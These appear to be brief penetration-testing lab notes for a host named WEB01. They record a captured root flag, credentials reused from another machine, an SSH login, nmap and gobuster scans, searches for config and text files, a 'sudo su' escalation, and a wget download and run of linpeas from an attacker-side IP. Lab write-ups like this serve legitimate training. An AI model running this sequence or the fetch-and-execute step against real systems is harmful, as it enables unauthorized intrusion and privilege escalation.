192.168.174.120 (WEB01)

Flags Obtained

Root:
    a8a49e60e6fce281432563c64e241687

Access method

Credentials gained from DC01
    offsec:century62hisan51
    
ssh offsec@192.168.226.120

Enumeration

sudo nmap -sV -sC -sT -T4 -A -p- --open 192.168.174.120 -Pn -o target.120map

gobuster dir -u http://192.168.104.120/ -w /usr/share/seclists/Discovery/Web-Content/big.txt -x php,txt,xml,asp,aspx -t 42 -b 400,401,403,404 -f -o target.120gobuster

Initial Access

Credentials gained from DC01
    offsec:century62hisan51
    
ssh offsec@192.168.226.120

whoami
sudo -l

find / -name config.php -type f 2>/dev/null
find /home/ -name *.txt -type f 2>/dev/null
find /root/ -name *.txt -type f 2>/dev/null

Privilege Escalation

sudo su

Admin Enumeration

wget http://192.168.45.239/linpeas.sh && chmod +x linpeas.sh
./linpeas.sh